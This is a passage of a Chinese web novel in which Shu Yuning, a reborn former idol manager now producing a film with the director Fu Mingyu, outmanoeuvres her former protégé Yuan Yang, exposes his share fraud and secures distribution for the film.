或许有些不地道，但是舒誉宁必须这样做。她很清楚，这部电影一旦上映，傅明宇会成为整个华语影坛争抢的香饽饽，到时候傅明宇再和自己合作就难了。
她必须先下手，让傅明宇从心里认定，自己就是世界上唯一不图任何利益，只看中他才华的知己。电影这条赛道，才会有她舒誉宁的名字。
5. 第 5 章
一切如舒誉宁所料，傅明宇这个死脑筋，不得到自己想要的答案一定不罢休。
他在舒誉宁这里问不出什么来，便去找了小林。
而怎么回答，何时回答，舒誉宁早和小林预演了一遍。
一开始，小林含糊其辞。越是含糊，越是能让傅明宇继续追问。等他耐心耗得差不多了，小林才装作一副“拿你没办法”的样子，把真实情况告诉了傅明宇。
“她疯了？把自己车子房子全抵押出去了？”
要不是小林由先见之明，提前把周围清了场。要不然，估计整个剧组都知道舒誉宁为了傅明宇，欠了一屁股债。
“何止啊，她的存款、基金、理财，都拿出来了。”
原来她消失的半个月，是去忙这些事了。
“你就不劝着点？”
“我没劝吗？我就差把她绑起来了，可她决定的事，我劝得动吗？”
“……”傅明宇没再说什么，径直走了出去。
小林马上给舒誉宁发消息：【老大，都跟他说了。】
【好，棒.jpg】
小林在键盘上敲敲打打，打了删，删了打。另一头的舒誉宁看着聊天界面顶端的“对方正在输入……”许久，才等到小林的回复。
【老大，你记得给自己留点钱。】
与此同时，手机里想起悦耳的到账消息。
舒誉宁看也没看，就把钱转了回去，再怎么样，她还不至于要用小林的钱。
她知道这件事风险很大，稍有不慎，血本无归。
当时，小林一听到她要清空自己名下的资产，急得血压都高了。
“老大，拍部电影而已，不至于把自己身家性命往里押吧。你就没想过，傅明宇是第二个Vibe？”
“那算我倒霉。”
但舒誉宁相信，傅明宇不是。
“至少告诉他。电影不是你一个人的，资金压力也不能全让你自己承担。”
“换做别的导演，可以。傅明宇，不行。”
换做寻常导演，舒誉宁早就敲锣打鼓地告诉他，自己为了这部电影牺牲有多大，偏偏这人是傅明宇！
正所谓一个猴一个栓法，资金紧缺的问题一定要傅明宇自己发现，并主动提起来。
她要傅明宇记住的是她舒誉宁为了艺术默默承受，甘愿牺牲一切身外之物的光辉形象。
既然自己把钱都砸进去了，每一分钱都得必须利益最大化。
也让他知道知道，在没有一定的名、利之前，哪怕他傅明宇再天才，也都是一碰就倒的空壳子。
正想着，傅明宇走了过来，看起来心事重重的，脚步也十分沉重。
看来这件事，给他不小的打击。
“小林都跟我说了，你抵押资产的事。”
“嗯，他刚告诉我了。”
“我……你……”傅明宇语无伦次着，舒誉宁也不插话，静等他开口。
“对不起。”他深吸一口气，接着说，“谢谢你。”
舒誉宁听懂了，他说的“对不起”是指他一直对舒誉宁有偏见而抱歉，“谢谢你”则是感谢她豁出一切去帮他拍电影这件事。
能让他低头，堪比中彩票。
“没关系，不用谢。”
“但，有必要吗？”
舒誉宁没急着正面回答，而是问了傅明宇一个问题：“你有没有发现，最近剧组所有人，比以前有干劲了。”
“有！”这是傅明宇觉得最奇怪的地方。现在他也反应过来了，舒誉宁肯定是给他们涨工资了。
“傅导，你这样的梦想家是少数，更多的是为了生计奔波的人。或许你觉得累一点，苦一点没关系。但是其他人不行。”
这个问题最快的解决方式就是，给钱。
“有什么需要我做的吗？我的房子也可以……”
舒誉宁伸出手，堵住了他的话：“打住。你的房子留着吧，不过确实有件事你可以做。”
傅明宇眼睛亮亮的，等着舒誉宁指示。
“下个月杀青，我带你去见发行方。你准备一下，跟他们讲讲我们这部电影的特点，推销推销。”
“我么？”傅明宇不可置信都指着自己鼻子。他不敢相信这么重要的事，舒誉宁会交给自己。“我不太会说话，得罪对方了怎么办。”
不错，确实有进步。他都能认识到自己容易得罪人了。
“所以当天你一定要听我的。”
发行那边，舒誉宁都聊得差不多了，对方只是想见见导演，好确定接下来院线的放映方案。
傅明宇从来没出席过这样的商业社交场合，连几件像样的正装都没有。
舒誉宁在他衣柜里翻了又翻，发现这人穿搭还真是朴素。不是剧组定制的文化衫，就是一些T恤、卫衣。
“先带你去买衣服。”
定制是来不及了，可以先买几套成衣，日后发布会上的正装可以找品牌方借。
到了男装馆，一位穿着西装套装的导购迎了上来，给他俩一人递了一瓶依云水。
“阿宁姐，可以看一下我们的新款。”
看样子，舒誉宁是这里的常客。看店里的装修和导购的服务，傅明宇断定，这家店，一定不便宜。
他随便看了几个标签，脸色都变了。他靠在舒誉宁身后，对她小声嘀咕：“咱们不是预算紧张吗？”
“啧！”舒誉宁瞪了他一眼。傅明宇马上缩回去，不再多嘴。
导购拿了几套西装三件套让舒誉宁挑，她看了两眼，都不太满意。
“不是开大会，不用这么正式。”
她在衣架中穿梭许久，终于挑中一条介于商务和休闲之间的重工驼色夹克，为了凸显傅明宇身上的文青艺术家气息，内搭选用了带点活泼感的蓝色条纹衬衫，裤子则是藏青西装裤，属于不出错的款。
“就这套，拿去试试。”
傅明宇可听话了，拿着衣服，瞬移到了更衣室。
打扮好了的傅明宇，让舒誉宁眼前一亮。
她不得不承认，傅明宇底子很好，属于放在演员圈里都出挑的长相。只是他平时太随意了，工作中也时时刻刻戴着能遮住半张脸的渔夫帽，让人忽略了他优越挺拔的外在条件。
“很……奇怪吧。”
第一次穿这种衣服的傅明宇可谓是哪哪儿都不自在，手足无措地站在镜子前。旁边的导购不停地夸奖，可他一个字也听不进去，焦虑地看着舒誉宁。
确实有些怪。舒誉宁的眉头不由自主地拧了起来，找到了他的不和谐之处。
“怎么把扣子扣到了最上面，不勒吗？”舒誉宁下意识地上手帮他解开了衬衫扣子，还顺手整理了一下衣领。
这样舒服多了。
舒誉宁刚想夸两句，却注意到，傅明宇浑身僵硬，脸颊通红。
“不至于吧，一颗扣子就让你这样了？那以后挽着女明星走红毯，可怎么办啊？”
看来傅明宇也第一次跟异性这么亲密接触，舒誉宁知道他不自在，便忍不住想逗逗他。
“不，不，不行，我，我，自己走！”
都紧张得结巴了。
“这是什么道理？你作为导演，难道还要撇下同剧组的女主角吗？”
“我不是，我那个
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，我……”
再逗下去，恐怕这人要破门而逃了，舒誉宁见好就收，唤来了导购：“就这套，买单。”
“我来！”傅明宇先一步打开了付款码，他不能接受让舒誉宁出钱给他买衣服。
“我开发票入账的好吗？走开走开，别在这碍事。”
傅明宇明显听到了导购没忍住的笑声，他心里暗暗发誓：这家店，再也不来了。
舒誉宁这边都准备得差不多了，接下来就该和发行确认一下见面的时间地点，但电话却怎么样打不通。
直到她看到聊天界面里的红色感叹号，才意识到，自己被拉黑了。
为什么？
她和发行方的代表一直聊得很愉快，没有任何冲突。就算有什么问题，对方也应该先打电话跟她沟通一下。可是就这么毫无预兆的，失联了。
舒誉宁又找了几个其他发行公司，都是同样的结果，失联。
答案呼之欲出——有人在背后搞鬼。
现在要说有谁想整她，无非就是ACT那几个老家伙。可那几个老东西官司缠身，债务一堆，应该没空来找她麻烦。这样一排除，眼下最空的就是待在家里抠脚的Vibe这群白眼狼了。
此时，一个陌生的电话号码打了过来。
“阿宁，好久不见，最近好吗？”
“袁，洋！”
这个声音，化成灰舒誉宁都认得。这人就是Vibe的队长，也是人气top成员，袁洋。
舒誉宁记得，他刚进公司那时，明知希望渺茫，可依旧选择没日没夜泡在练习室里练习。得知公司想清理练习生后，他第一时间找到舒誉宁，哭得梨花带雨，跪在地上求她，帮自己一把。
出道后，他顶着“幕强天菜”的人设，成为组合人气最高成员。渐渐的，舒誉宁也察觉到了他异样的心思，几次三番提醒他，一切以当下男团事业为重，其余的，不能操之过急。
她最后还是低估了他的野心和手段，成为了第一个背叛她的成员。
看来这次，也是他使的绊子。
“看不出来啊，老郑给你的资源，还扩大到电影圈了。”
“呵。”电话那头的袁洋，不屑地嗤笑了一声，“他没这本事。阿宁，你想做电影，怎么不联系我？”
是啊，他怎么可能甘心投靠某个老总？他无非是想借着老郑这块跳板，往更大的圈子跳。
他这样的人，理应做什么都会成功，可惜，心术不正。
“请不起你。先挂了。”
“别啊，我请你吃个饭吧，带上傅明宇。”
舒誉宁捏着手机，看着不远处有个穿着短袖，戴着口罩和棒球帽的人，离自己越来越近。最后一个音节落下，他正好站到了自己面前。
哪怕全副伪装，依然掩盖不住眼神里那无穷无尽的野心。
“傅导，您好，我是袁洋。”
袁洋客气地伸出一只手。傅明宇明显感到了他身上的不怀好意，后退一步，双手环胸。
被拒绝的袁洋并没有恼怒，他看向旁边的男装馆，自顾自地开口：“真是怀念，你第一次带我们来买衣服，也是这家店吧？”
真是虚伪。他现在手握多项高奢代言，每次出席活动，品牌方都抢着来送衣服，怎么会怀念这里？
“不是吃饭吗？我都饿了，什么时候出发。”
“就现在。”
一辆深黑的奔驰v型商务车及时地停在他们面前，打开了车门。
舒誉宁刚想上车，就被傅明宇拉住了：“你还真去这鸿门宴啊？”
“难不成他还能在菜里下毒，我还怕他？上车！”
6. 第 6 章
饭桌上，傅明宇食不知味，他的目光一直在舒誉宁和袁洋之间逡巡。空气里弥漫着紧张的气氛，仿佛下一秒就要打起来了。
不知不觉，饭局到了尾声，可他俩还是一言不发，十分沉得住气。
“开门见山吧，你到底要什么。”
还是舒誉宁率先开口，好整以暇地看着袁洋。
“把剧本卖给我。”
“切。”舒誉宁把手里的餐巾揉成一团，扔到一旁。“顶流男星缺剧本？”
“都没你这个好。只要你把它卖给我。你，还是制片。傅导，还是导演，千杉，也还是女主。出品发行，我也会负责到底，不用你操心。”
还没等傅明宇开口拒绝，袁洋的提议就被舒誉宁顶了回去。
“听上去真是笔稳赚不赔的好生意。这剧本交到你手上，还长现在这样吗？我们所有人不都是给你这个一番大男主抬轿的工具人！”
“我是无所谓，但你呢？这么多年的积蓄，荡然无存。”
袁洋竟然连这都知道了。
舒誉宁看着他，有些恍惚。那个出道都遥遥无期的小练习生早就不在了，变成了如今在娱乐圈手眼通天的资本家。
“多谢你这顿饭，留步。”
话不投机半句多，舒誉宁生怕自己再多呆一秒，巴掌就拍上去了。
回去的路上，舒誉宁看着车窗外，突然觉得很累。
“吱——”一声刺耳的啸叫，是轮胎在柏油路面上强烈摩擦的声音。
惯性使舒誉宁冲出座椅。这一瞬间，她脑海里飞快闪过一些扭曲的画面。同时，伴随着尖叫、巨响、救护车的鸣笛……
是前世那场车祸。
“阿宁，阿宁，你怎么了？”
舒誉宁终于回过神来，坐在她身旁的傅明宇焦急地喊着她名字，晃着她肩膀。
“我，我没事，我没事。”
“你一脑袋汗，脸色还这么差，要不去医院？”
舒誉宁摇摇头，大口大口地喘着气。
司机不停地道歉。原来是路上突然蹿出一只猫，让他下意识踩了急刹，没想到吓到了舒誉宁。
舒誉宁摆摆手，示意自己没事，让司机专心开车。
车子又恢复正常速度，行驶在路面上。纠结一路的傅明宇好不容易开口，语气里是藏不住地沮丧。
“阿宁，我刚刚想了很多。要不还是听袁洋的吧。”
“你不是最讨厌别人拿钱跟你谈交易吗？”
“你说得对。这部电影已经不是我一个人的了，需要考虑所有人的利益。”
听到这话的舒誉宁，心里五味杂陈，傅明宇能做出这个决定，说明他做好了最坏的打算。
舒誉宁没有正面回答，她只是反问傅明宇：“我出过车祸，你知道吧？”
傅明宇点点头，他搜过那场车祸的报道，不少人都说她捡回一条命是医学奇迹。
“虽然是意外，但始作俑者就是他。”没有他利用舆情挑拨，她怎么可能天天被狗仔和私生饭骚扰？
“所以我恨他，恨得要命，我这辈子都不想再和他有什么交集。你真以为他会这么好心，绕了这么一大圈，只为了做个男主？”
这点，傅明宇也知道。等剧本交到袁洋手上，不仅不会解决眼下的困境，反而是一切麻烦的开始。
“可我们没有别的办法。”
“会有的。袁洋什么好东西没见过，却还说你的剧本好，足够说明这部电影有独一无二的竞争力。放心吧，会解决的，我一定会解决的。”
在生意场上，没有永远的盟友，只有永远的利益。
今天袁洋能堵死舒誉宁的财路，过两天就不一定了。只要有人能看到这部电影有利可图，他们马上就会倒戈。
袁洋当了几天顶流，真以为自己能在娱乐圈一手遮天？
登高易跌重，这是她这个前经纪人给袁洋上的最后一课。
阿May升为总监以后，特地给舒誉宁组了一支专属狗仔队，用来给她收集消息。
这些狗仔训练有素，不过几个小时，他们就把Vibe五个人的资料全部送了过来。
自从ACT倒台，除了袁洋外的其余四人，都陷入了财务纠纷。原因很简单，郑总让他们买了不少公司的股份。
这些小偶像，文化水平都一般，哪有基本的金融常识。只听郑总要给他们开工作室，被忽悠得晕头转向，什么都听他的。现在落得个被深套的下场。
可是袁洋太干净了。别说财务纠纷，连个恋爱绯闻都没有。
帮着一起看材料的小林都累了，还没找到什么可用的信息：“难道他没有买郑总手里的股份？”
“不可能，这是投名状，不能不买。”
再看也看不出什么花头，舒誉宁咬着笔杆想了一会儿，突然灵光一现：她好像从一开始就找错方向了。
“小林，你去给Vibe其他人打个电话。就说我要袁洋的把柄，有多少要多少，价钱好说。”
“这么直白？”
“跟他们打什么太极，快去吧。”
“收到！”
按照舒誉宁所说的，小林给其余四人发了消息。结果是杳无音信。
这也不算太意外，从一开始，舒誉宁也只是抱着试一试的心态，没在他们四个人身上报多大希望。
很快，又过了半个多月。舒誉宁终于联系到一个小型的发行公司，对方答应先试一试，但是不能保证最后的排片率。
这样已经足够了。只要有一个电影院愿意放这部电影，舒誉宁就有信心，能靠她的运作，这部电影能被更多人看到。
在她都快把袁洋这事忘了的某天，小林神神秘秘地把她带了出去。
“邵亦承，找我？”
他是Vibe团体的老幺，以前最听袁洋的话。
“老大，要不我回绝他？”
“不不不，先去会会他，一起吧。”
邵亦承一见到舒誉宁，便声泪俱下，不停地说着令人起鸡皮疙瘩的话语。
舒誉宁的双手托着下巴，脸上毫无波澜，静静地看着
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他演。
眼看舒誉宁一点反应都没有，邵亦承只能收住自己过多的戏，尴尬得摸着鼻子。
“你最好有猛料。否则我就把你今天来找我的事透露给袁洋。他一定会觉得你出卖了他，到时候，后果自负。”
“唔，阿宁姐，呜呜……”这次的哭是真心的，他是真的怕了。
这次，邵亦承说了很多。他说，自己都是受到袁洋和郑总的蒙骗。他不知道这件事会造成这么严重的后果，偶像事业中断，财务产生危机，还差点还得舒誉宁丢了性命。
简而言之，他是清清白白小白莲，都是被人陷害的。
等他哭完，舒誉宁也把他给的资料看完了。
这份资料是他们四个人一起弄的，但其他人不愿意出面，只能让邵亦承做这个恶人，给她拿过来。
“我该说你是真傻还是装傻，风险这么大的事都愿意做。”
“是我自己想来见你。阿宁姐，看在我特地来找你的份儿上，你帮帮我吧，以后我一定听你的。”
呵，原来在这儿等着她。还指望她像以前一样，什么事都给他们兜底。
“凭什么？”
“啊？”邵亦承没想到舒誉宁会这么冷漠。以往他只要哭一哭，立一下他单纯善良的老幺人设，自然有无数粉丝为他心碎。
舒誉宁这样的反应，他从来没见过。
“是不是被太多粉丝捧着，忘了自己究竟是什么货色？”
舒誉宁嘴角挂上讥讽的笑，都什么时候了，还以为自己是那个一呼百应的偶像。从ACT上市失败的那一刻起，他们就已经被踢出了流量爱豆这个圈子。
“你连当棵墙头草都当不明白，我凭什么帮你？你今天是来谈判的，这份资料就是你的底牌。可你，谈判还没开始，底牌先交了出去。这么蠢的事，你是怎么做出来的？”
看来是舒誉宁以前把他们保护得太好了，这点游戏规则都玩不明白。
“我不仅不会帮你，我还要看着你付出代价。”
等财务纠纷越闹越大，他身败名裂，合作过的品牌方一一上门找他要违约金的时候；在他的粉丝意识到，她们捧在手心的爱豆不过都是虚伪人设，脱粉回踩的时候——这都是他要付出的代价。
“舒誉宁，你卑鄙。”
终于露出真面目了。
“你也配说这句话！小林，送客。”
邵亦承大概也没想到，有朝一日，他这个高高在上的偶像明星，也会被人赶出去。
很快，小林回来，他现在越来越崇拜舒誉宁了。
“姐，你才是偶像。”
“厉害吧？用命换来的。”
小林只当她说的是死里逃生的意思，也没多想。
“他送来的材料怎么办？还让May姐做报道吗？”
舒誉宁摇摇头。这件事的严重性，已经超出了她的预料，不能用娱乐圈的手段解决。
“找个律师问问，再做计划。”
舒誉宁收好资料，这次她和前世，总算能有个了断。
7. 第 7 章
律师的提议是，这份材料涉及的层面比较广，保险起见，交给警方最合适。
舒誉宁点点头，这是她想过的，最坏的结局。
这件事的原委并不复杂。
早在郑总要求Vibe买公司股份的时候，袁洋已经察觉到郑总没安好心。他先是买了最多的股份，以此证明自己是真心投靠郑总。郑总为了让自己看起来守承诺，推了一些影视圈的资源给他们。
影视圈向来是看不起偶像圈的。这些大佬无非是看在郑总的面子上，走个过场，并没有把他们五个看在眼里。
五个人当中，只有袁洋意识到了这件事。为了抓牢这些资源，他洋洋洒洒花了不少钱出去。为了拿到更多的资金，袁洋对分别其余四人说，可以把自己手上的股份卖给他们，这样等公司上市以后，他们就是股东。
这对其他四个人，是个巨大的诱惑。他们也没考虑袁洋这件事的真假，把钱都给了袁洋。
然后他又对私下找到郑总，跟他说想购买更多的股份，但是资金不够，希望郑总可以“借”点股份给他。郑总当然乐意，就算以后袁洋还不出钱，他大可以收回股份。
这样一来，袁洋相当于空手套白狼，没花多少钱，拿到了股份，还拿到了资源。
招数不算高明，胜在好用。
想来上一世，他也是这么操作的。
只不过上一世，ACT上市了，他们手持的原始股没多久便翻了几十倍，这个窟窿很快可以填上，所以他安然无事。
但这次，ACT上市失败，公司濒临破产。他这种行为，就是不折不扣的商业诈骗。
现在袁洋看上去依然风光，只是因为郑总自顾不暇，没空盘这笔账。等他喘口气，也会马上发现，自己被袁洋坑了。
舒誉宁可没耐心等，她要做的，就是加快这个进程。
从警局出来，舒誉宁看到傅明宇站在门口等她。
“你怎么过来了，不在盯后期？”
“你今天出门连小林都没告诉，我怕你有事，跟过来看看。”
“我心里有点乱，怕他担心，就没说。”
回去的路上，舒誉宁把这件事跟傅明宇大致说了一遍。傅明宇看得出来，她是有点难过的。
“你是为了袁洋？”傅明宇问完就后悔了。自己站在什么立场去问舒誉宁这样的问题？
好在舒誉宁心绪不宁，也没发现他这个问题的有什么不妥。
“是，也不是。自作孽，我没什么好难过的。我只是想不明白，好好的人，怎么为了利益变成这个样子？”
舒誉宁还记得Vibe刚出道那会儿，没有粉丝，更接不到通告。
五个成员和她拖着音响，在露天广场唱着他们的原创歌曲。好不容易接到了音乐节的演出，高兴得整晚没睡着，一直在练习室里练习。等到了现场，却又被主办方告知，他们被换了。
舒誉宁那是也只是一个初出茅庐的小经纪人，心里正是藏不住事的时候，为了这事，她一下就哭了。还是袁洋安慰她，告诉她，总有一天，他们不再是可有可无的替换品。回去的路上，没钱买机票的他们，在拥挤狭小的火车过道，蹲了一晚上。
袁洋实现了他曾经中二的誓言，可屠龙的少年终成恶龙，他早忘了自己来时的路，忘了自己初心。
舒誉宁难过的是这点。
她想过无数次，如果她重生到最一开始，她还会做帮袁洋一把，做他们的经纪人吗？
无论她怎么假设，最后的答案都是：会。
舒誉宁从来都没有后悔过这件事。
只不过这件事她不会告诉袁洋，袁洋也没必要知道。
他们终究不是一路人。
“傅明宇，我要跟你坦白一件事。”
“你说。”
“我抵押资产这件事，是我故意让小林告诉你的。为的是想让你感动，从而可以好好听我的话。”
舒誉宁以为他会生气，没想到他听完并没有什么反应。直到车子在红绿灯路口缓缓停下，傅明宇才笑了出来。
这人反射弧也太长了吧。
“你笑什么？”
“我是觉得自己好笑。如果不是我钻牛角尖，不够信任你，也不用你绕这么一大圈子。你现在为什么又跟我说实话。”
“所有通过算计建立的关系，都不牢靠。”与其日后拆穿，不如现在就跟他实话实说。
“至少你为了这部电影，投入了一切是真的。这就够了。”
袁洋涉及商业诈骗的消息传得很快，为最近无聊的热搜投入了一颗重磅炸弹。
粉丝们闹翻了天。有的哭喊“哥哥，我等你出来”，有的发长篇脱粉小作文，有的则坚信袁洋这次是被人陷害。
见风使舵的营销号们生怕错过这次热度，把袁洋以前参加过的活动、综艺，每一句话都截出来，添油加醋地解读，最后放个马后炮——一切都是有迹可循。
好像每次娱乐圈爆什么大瓜，都是这套流程。但唯独没有人对受害者道歉。
他们或许是不记得了，也或许是不在乎。
开庭前，舒誉宁去看了袁洋。
昔日帅气的偶像，剃了头发，双目空洞，整个人消瘦又憔悴。
“我没想到唯一一个来看我的人是你。”
“你为什么要这么做？就算你想找个新的靠山，也不至于毁了我
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。”
这点，舒誉宁百思不得其解。袁洋做了这么多，费劲心思把舒誉宁塑造成一个恶人的形象。又在舒誉宁落魄之后，还想尽办法，断了她的路。如果仅仅是想给郑总表忠心，完全没必要如此针对她。
“因为我恨你。”
“恨？”
“你见过我最难堪的样子，我看到你，我就想起我以前被人挑挑选选，当做笑话的日子。”
舒誉宁曾经视若珍宝的时光，竟然被他视作难堪。
“袁洋，你真可怜。”
“我不需要你的可怜！”
这句话让袁洋突然暴怒，要不是旁边有人拉着他，他恨不得冲过来吃了舒誉宁。
舒誉宁是故意这么说的。她想看看，被自己最怨恨的人同情，是个什么样子。
不过这句“可怜”，舒誉宁是真心这么认为的。
光鲜亮丽的外表下，掩盖不住的是内心深深的自备。哪怕他曾经是时尚的宠儿，粉丝的心头肉，在他内心深处，他仍然是那个在音乐节，被主办方一句话就可以换掉的小透明。
很多人都说袁洋是天生爱豆，曾几何时，舒誉宁也是这么认为的。
不知疲倦地练习，对自己的形象、身材有着严格的标准。多少爱豆因为谈恋爱而塌房，只有袁洋，对此一直小心谨慎。
可他真的是为了偶像事业吗，是为了站上更高的位置吗？
如今看来，不是的。
一切的努力，仅仅是因为他自卑。
他想毁掉的不是舒誉宁，而是他觉得，舒誉宁消失了，他的那些过往就无人知晓了。
这样的人，不配拥有爱。
“我来告诉你什么才是真正的难堪。你现在这个阶下囚的样子，才是难堪。以后，再也不见。”
走出大门，舒誉宁才发现今天阳光很好，路过的人牵着两只胖胖的小柯基在她面前走过，肥肥的小翘臀一扭一扭，可爱极了。
不远处的停车场，千杉、小林、傅明宇、阿May树荫下在等她。
傅明宇第一个看到他，对她招招手。
千杉高兴地迎上来，亲昵地挽着她的胳膊，说今天傅导请客，问她想吃什么。
阿May告诉她，编辑部组织旅游，让她可以带着剧组一起参加。
小林问她，这么久没休息过，要不要大家一起去郊外团建露营。
只有傅明宇一言不发，默默跟在他们身后。
“好啦！手上还有很多事情要做，团建、旅游先放一放行不行？”
自知扫兴的舒誉宁马上换个话题：“不过吗，傅导请客还是要去的，快去找找周边哪家餐厅的人均最高，就去那家。”
8. 第 8 章
发行方那边终于来了消息，舒誉宁一看，两眼一黑。
除了定档在3月份这种淡季之外，排片率也低得离谱，热门商圈和商场内的电影院根本进不去。愿意给他们排片的电影院也只把这部电影放在大清早或者深夜打烊前。
“我知道你一定有办法的。有什么我能帮得上的，尽管说。”
这是傅明宇得知这个消息后，说的唯一一句话。
这句话，给舒誉宁莫大的信心。
“帮我把大家都叫过来，这一次，需要所有人努力。”
看着火速集结的小团队，舒誉宁对重获新生这件事有了实感。
“杉杉，你毕业这么多年，和电影学院的老师们还有联系吗？”
“有，熟得很。”
“好，你帮我联系一下他们。我们这部电影想在电影学院进行至少一月的免费放映活动。”
“免费放映？”
所有人都对舒誉宁这个决定感到十分意外，除了傅明宇。
“我没意见，听你的。”
导演和制片都这么说了，其他人更没什么意见了。
“小林，你帮我联系几个社区，尽量分散一点，也不要找高端小区。那种小区都是精英，对免费电影没兴趣。”
舒誉宁说到这里，大家大概明白她的意思了。
她想通过免费放映的形式，让一部分观众先看到这部电影。电影学院的学生老师们看了这部电影，会自发地写影评，放到网上。而普通居民则会通过短视频、朋友圈，告诉周边人，有这么一部电影。
“阿May，你需要帮我盯一下网络评论。适当地投一些热度，不用太多，不然会显得假。”
舒誉宁想用最少的宣发成本，让“自来水”的用处最大化。
傅明宇坐了半天，还没等舒誉宁给自己分工。莫名的，他觉得自己被冷落了。
“当然不会忘了你啦。”傅明宇的表情，舒誉宁一直看在眼里。此刻的他，就像没分到水果的小朋友，看上去好不失落。
“你尽管吩咐！”一句话，再次拔高了傅明宇的热情。
“你需要做一份PPT。内容是电影当中的构图和光影运用。不用体现过多的电影剧情，截几张图，当做样例即可。”
舒誉宁能预想到，这部电影会被电影专业的师生当做很好的教学案例。到时候，只要让傅明宇给他们讲讲课，自然能给他树立更好的形象。
“主题呢？”
主题啊……舒誉宁脑海里闪过很多很多折磨观众，搅乱市场的烂片。这些烂片毁了电影的本质，让不少观众一听到“电影”这两个字就产生应激反应。
有了——
“就叫，让电影回归电影本身。”
第一个传来好消息的是千杉，老师们先试看了这部电影，观后感一致好评。他们答应舒誉宁可以在学校里试映三个月，不仅如此，校方好邀请舒誉宁他们参加年底的学校校庆。
今天是建校80周年的大日子，校庆一定会大操大办。届时，无数校友会回学校参加校庆。舒誉宁都能想象，校庆当天的盛况。他们难以接触到的巨星大咖、影帝影后，都会出席。
校庆上，这部电影再一放，都不需要费什么功夫，他们所有人的名字都会响彻整个娱乐圈。
小林那边的动作也很快。社区的工作人员们一听到有人赞助居民看电影，纷纷热烈欢迎。现在正值暑期，晚上的小区里，多的是人遛弯儿乘凉。舒誉宁特别准备不少纳凉道具，还有免费的饮料和水果。每天晚上，还没到电影放映的时间，广场上就挤满了人。
收益比舒誉宁预想得还快。
某天，舒誉宁照例在网上刷着网友对新电影的评论，“叮——”，她的邮箱弹出一封新的邮件。
【舒女士您好，我是大鹅影业的发行部负责人。我司对你们的电影发行很感兴趣，希望有机会可以合作，我的联系方式：XXXXXX。】
“我靠！”
舒誉宁忍不住尖叫了起来。
大鹅影业，国内影视集团的绝对霸主。他们出品、发行的电影，票房在10亿以上的比比皆是。
舒誉宁马不停蹄地回家收拾行李，她要订最早的一张机票飞过去。
“什么，航班都取消了？”
“非常抱歉女士，受台风影响，飞往B市的航班都取消了。”
地勤机械化地说着原因，这几天，她已经将这句话重复几百遍了。
舒誉宁马上打开手机，订高铁票。可是高铁票也全部处于候补状态。
暑期的高铁票本就紧俏，现在因为航班取消，更加让高铁票供不应求。托着行李箱的舒誉宁只能先离开机场，她看着手机导航，算着时间。12个小时的车程，她现在出发，能在零点之前赶到，明天一大早可以直接和对方谈。
刚跨出机场，一辆熟悉的黑色SUV在她面前停下，是傅明宇。
“上车。”
舒誉宁把行李箱往后备箱一扔，钻进了副驾驶。
“你怎么来了？”
“见发行这么重要的事，我作为导演能不在吗？”
说着，傅明宇从一旁的置物架里抽出一瓶矿泉水，递给她：“别什么事都自己扛着。而且，不能推迟两天？”
“夜长梦多。前面服务区你停一下，换我开。”
“好。”
有了舒誉宁前期的铺垫，这次和大鹅影业的谈判格外顺利。
“只要满足我们提出的条件，这部电影可以提档上映，两位有意见吗？”
对方的弦外之音舒誉宁听懂了，他们想要这部电影作为一个交换，要傅明宇以后给他们公司拍电影。
“能给我时间考虑一下么？”
“当然可以，两位慢坐。”
说完，他们离开了会议室。
等他们走远了，傅明宇才开口问舒誉宁，是不是有什么顾虑。
“人家明显是看中你。不过对方很可能就是你最讨厌的‘资本家’。”
“那你会帮我吗？”
“很难。”舒誉宁摇摇头。她一时不知道该怎么解释大鹅影业在圈里的地位，毕竟傅明宇对这些东西没什么概念。“总之，你要做好最坏的打算。”
“签吧。以后的事，以后再说，重要的是现在这部电影。”
“好。”
3月份之前的档位，有且只有贺岁档！舒誉宁忽然觉得，“卖”个傅明宇，是件很划算的事。
舒誉宁行云流水地在合同上签上自己的名字：“合作愉快。”
“轰——”走出大鹅影业的大门，狂风天气如约而至。
舒誉宁抬头看着电闪雷鸣，狂风暴雨，心情却十分地放松：“你说，是不是老天也在眷顾我们呢？”
“嗯。高速也封道了，要是晚几个小时，我们就来不了了。”
舒誉宁把视线收回，和傅明宇四目相对：“你的意思是，我们回不去了。”
“啊？”傅明宇把这茬忘了。
“算了算了，既来之则安之。”反正眼下重要的事都解决了，也不着急回去。
夜晚，傅明宇捧着电脑剪片子。根据天气预报说，这场大雨会持续三天，B市的交通也会封停三天。傅明宇不想浪费时间，就在酒店李剪片子。
“叮咚——”门铃响了，傅明宇看向墙上的可视门铃，门外站的是舒誉宁。
一开门，拎着满手都是小吃的舒誉宁往里冲：“快快快，搭把手。”
傅明
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宇把她手里的东西一一摆在桌面：“你怎么买了这么多？”
“门口有个摆摊的阿姨，我想让她早点收摊，就包圆了。她一高兴还送了我两瓶米酒，说她自己酿的，快尝尝。”
“要不等我剪完片子？”
“傅导，工作是做不完的，你能不能歇会儿？”
“你好像没资格说我。”
论工作狂，舒誉宁比他卷多了。
“不跟你争，喝酒。”
舒誉宁听阿姨说这酒度数不高，就给她和傅明宇各倒了满满一大杯。她先干为敬，发出满足的赞叹：“自家酿的酒确实香，一点也不辣。”
说着，舒誉宁又给自己满上。傅明宇端起杯子，闻了闻，也学着舒誉宁的样子，一饮而尽。
酒过三巡，两个人之间，话也多了起来。舒誉宁把平常不知道怎么开口的，借着酒劲儿，全说了出来。
“傅明宇，你知不知道，我们都觉得你是怪胎。”
“知道。”傅明宇觉得这句话有点不对，“是你最先这么觉得的吧？”
舒誉宁默认了这个说法。
“一个导演，整天故作姿态，不愿意跟资本同流合污，很傻哎。”
“你也挺傻的。明明被人背叛过，还愿意毫无保留地帮别人。你不怕我们中有谁，又背叛你么？”
舒誉宁放下了手里的筷子，神情也不似刚才放松。
傅明宇很想抽自己，看来真是喝多了。明知道这是舒誉宁的雷点，还是踩了上去。
“对不起，我说错话了。”
“你的疑虑是对的，不用道歉。”舒誉宁把自己的酒杯递了过去，示意傅明宇给她满上。“经纪人，或者说世界上大部分工作，注定都是要和别人合作的。我不能因为遇到了几个小人，就猜忌提防其他人，那我还干不干了？错的是他们，又不是我。”
“说得好。”傅明宇赞同地点点头。
“所以你知道，为什么你空有才华，却只能和一些花花草草打交道了吧。”
傅明宇被说得面红耳赤，他想反驳，可是他没有舒誉宁这么能言善道，支吾了半天，一个字也没说出口。
“不过呢，你运气好，遇到了我，才让你的才华有用武之地。”
“是是是，感谢舒大经纪，我敬你一杯。”
自然发酵的米酒度数不高，但是后劲很足，舒誉宁拼着最后一丝意识，爬了起来。
“很晚了，我得回去了。”
“嗯。”
